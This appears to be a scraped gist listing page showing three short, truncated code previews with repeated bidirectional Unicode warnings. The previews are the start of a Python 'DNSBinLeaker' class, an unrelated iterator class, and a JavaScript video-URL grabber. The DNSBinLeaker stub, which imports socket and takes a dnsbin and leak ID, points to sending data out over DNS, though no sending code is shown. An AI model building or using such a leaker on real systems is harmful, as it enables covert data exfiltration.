This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import socket, os | |
class DNSBinLeaker: | |
def __init__(self, dnsbin_id, leak_id='leak'): | |
assert len(dnsbin_id) == 20 | |
assert all(c in '0123456789abcdef' for c in dnsbin_id) | |
assert 0 < len(leak_id) < 20 and leak_id.isalnum() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class IIter: | |
def __init__(self, m, n): | |
self.m = m | |
self.n = n | |
self.arr = [0 for _ in range(n)] | |
self.sum = 0 | |
self.stop = False | |
def __iter__(self): | |
return self |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (location.pathname.startsWith('/play')) { | |
(() => { | |
function downloadVideo(print = console.log) { | |
let url = | |
document | |
.querySelector('video') | |
.firstElementChild | |
.getAttribute('src'); |